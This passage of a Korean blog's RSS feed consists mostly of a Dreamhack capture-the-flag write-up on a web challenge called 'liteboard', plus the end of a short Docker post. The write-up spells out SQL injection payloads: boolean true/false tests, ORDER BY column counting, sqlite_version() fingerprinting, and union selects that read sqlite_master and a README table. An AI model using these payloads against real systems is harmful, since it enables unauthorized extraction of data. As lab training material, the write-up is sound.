&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ 컨테이너 잘 올라갔나 확인하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;81&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S8Odc/btsNcrhADQi/gVk4TMKMmC4w57GbEGTgj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S8Odc/btsNcrhADQi/gVk4TMKMmC4w57GbEGTgj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S8Odc/btsNcrhADQi/gVk4TMKMmC4w57GbEGTgj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS8Odc%2FbtsNcrhADQi%2FgVk4TMKMmC4w57GbEGTgj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1401&quot; height=&quot;81&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;81&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5000:5000을 통해, 터널링&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;STATUS가 Up이므로, 실행중임을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;▶️ Docker 컨테이너 내리기&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1744000495552&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker stop [container_name]
docker rm [container_name]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이것저것/WEB</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/212</guid>
      <comments>https://dor1m4n.tistory.com/212#entry212comment</comments>
      <pubDate>Mon, 7 Apr 2025 13:36:15 +0900</pubDate>
    </item>
    <item>
      <title>[dreamhack] liteboard</title>
      <link>https://dor1m4n.tistory.com/211</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bif9oD/btsM9z1uc09/0rZrQKLXSMDZ3NGpj1amUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bif9oD/btsM9z1uc09/0rZrQKLXSMDZ3NGpj1amUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bif9oD/btsM9z1uc09/0rZrQKLXSMDZ3NGpj1amUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbif9oD%2FbtsM9z1uc09%2F0rZrQKLXSMDZ3NGpj1amUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1211&quot; height=&quot;276&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙박스 방식의 문제이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;582&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R30k0/btsM7edxztF/rzhktKENFR3eWgYpoVp9I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R30k0/btsM7edxztF/rzhktKENFR3eWgYpoVp9I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R30k0/btsM7edxztF/rzhktKENFR3eWgYpoVp9I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR30k0%2FbtsM7edxztF%2FrzhktKENFR3eWgYpoVp9I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;582&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add Post에 값을 넣고 저장하면, 아래에 리스트 형식으로 저장되며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Search를 통해 keyword 파라미터를 이용하여, 리스트에 저장된 게시글을 불러오는 형식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;495&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ohfzk/btsM7c09u9E/T6aBUOKcr6p6ZiSThPilUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ohfzk/btsM7c09u9E/T6aBUOKcr6p6ZiSThPilUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ohfzk/btsM7c09u9E/T6aBUOKcr6p6ZiSThPilUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fohfzk%2FbtsM7c09u9E%2FT6aBUOKcr6p6ZiSThPilUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;363&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;495&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sql injection을 시도해보았더니, &quot; -&amp;gt; X&amp;nbsp; &amp;nbsp; &amp;nbsp;' -&amp;gt; 500 Error&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test'+and+'1'='1 --&amp;gt; test&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test'+and+'1'='2 --&amp;gt; X&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참/거짓을 통한 응답 값이 다른 것을 확인하였기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'를 통한 injection이 가능하다는 것을 확인하였고, 에러가 500으로 넘어가기에 union based sql injection이 가능한지 확인하였다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선적으로, 컬럼 갯수를 파악해야한다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uMkUO/btsM9k4A3Wq/yhaV6XX27MvYgVBfBlYss1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uMkUO/btsM9k4A3Wq/yhaV6XX27MvYgVBfBlYss1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uMkUO/btsM9k4A3Wq/yhaV6XX27MvYgVBfBlYss1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuMkUO%2FbtsM9k4A3Wq%2FyhaV6XX27MvYgVBfBlYss1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;801&quot; height=&quot;338&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CmYSL/btsM8exLqwC/owSn0PKtGYCPJvq7et1Mg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CmYSL/btsM8exLqwC/owSn0PKtGYCPJvq7et1Mg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CmYSL/btsM8exLqwC/owSn0PKtGYCPJvq7et1Mg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCmYSL%2FbtsM8exLqwC%2FowSn0PKtGYCPJvq7et1Mg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;787&quot; height=&quot;327&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;order by 를 통해, 2개의 컬럼이 반환되고 있음을 파악하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;((사진이나 게시글을 불러온다면, 데이터 타입 때문에 3개일수도 있지만, 현재는 단순히 한줄짜리 게시글을 읽어오기에 데이터 타입을 신경쓰지 않았다))&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PPi6X/btsM9cr58Y1/6lF5l9PCkyvE5NDlVqueD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PPi6X/btsM9cr58Y1/6lF5l9PCkyvE5NDlVqueD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PPi6X/btsM9cr58Y1/6lF5l9PCkyvE5NDlVqueD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPPi6X%2FbtsM9cr58Y1%2F6lF5l9PCkyvE5NDlVqueD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;288&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번째 컬럼에 들어간 값이 나오는 것을 확인하였고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dbms 종류를 파악하여야한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK3ANF/btsM8WpvuHL/AHThOCXJeYqb3Bf5Hcgrd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK3ANF/btsM8WpvuHL/AHThOCXJeYqb3Bf5Hcgrd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK3ANF/btsM8WpvuHL/AHThOCXJeYqb3Bf5Hcgrd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK3ANF%2FbtsM8WpvuHL%2FAHThOCXJeYqb3Bf5Hcgrd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;254&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sqlite_version()을 수행하였을 때, 3.40.1 라는 값이 나오는 것을 통해, 해당 db가 sqlite임을 확인할 수 있었다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;union based sql injection을 통해, table정보, column 정보를 확인해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1) table 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 구문 : ' union select 1, tbl_name from sqlite_master&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과 : README ,posts, sqlite_sequence&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B8Qf7/btsM7dsgXAg/DEzl1LJKFjGNQCZEwsalGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B8Qf7/btsM7dsgXAg/DEzl1LJKFjGNQCZEwsalGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B8Qf7/btsM7dsgXAg/DEzl1LJKFjGNQCZEwsalGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB8Qf7%2FbtsM7dsgXAg%2FDEzl1LJKFjGNQCZEwsalGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;782&quot; height=&quot;370&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2) column 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 구문 : ' union select 1, sql from sqlite_master;--&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pIqhC/btsM8lQRW1W/7yW6a3e5M0RKre5aH4qXv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pIqhC/btsM8lQRW1W/7yW6a3e5M0RKre5aH4qXv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pIqhC/btsM8lQRW1W/7yW6a3e5M0RKre5aH4qXv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpIqhC%2FbtsM8lQRW1W%2F7yW6a3e5M0RKre5aH4qXv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;496&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흠 FLAG가 어딨는지 전혀 감을 못잡는 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README에 있나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(3) README 데이터 개수 파악하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 구문 : ' union select 1, count(hello) from README;--&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과 : 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1개네! 그냥 출력하면 될 듯&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(4) FLAG 출력하기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dh3Vl2/btsM8Vc7TAG/E7Jrl8GiPIKQi1aBFVq1B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dh3Vl2/btsM8Vc7TAG/E7Jrl8GiPIKQi1aBFVq1B0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dh3Vl2/btsM8Vc7TAG/E7Jrl8GiPIKQi1aBFVq1B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdh3Vl2%2FbtsM8Vc7TAG%2FE7Jrl8GiPIKQi1aBFVq1B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;804&quot; height=&quot;202&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 외의 플래그 출력 내용은 생략,,&amp;nbsp;&lt;/p&gt;</description>
      <category>dreamhack/web</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/211</guid>
      <comments>https://dor1m4n.tistory.com/211#entry211comment</comments>
      <pubDate>Fri, 4 Apr 2025 14:39:15 +0900</pubDate>
    </item>
  </channel>
</rss>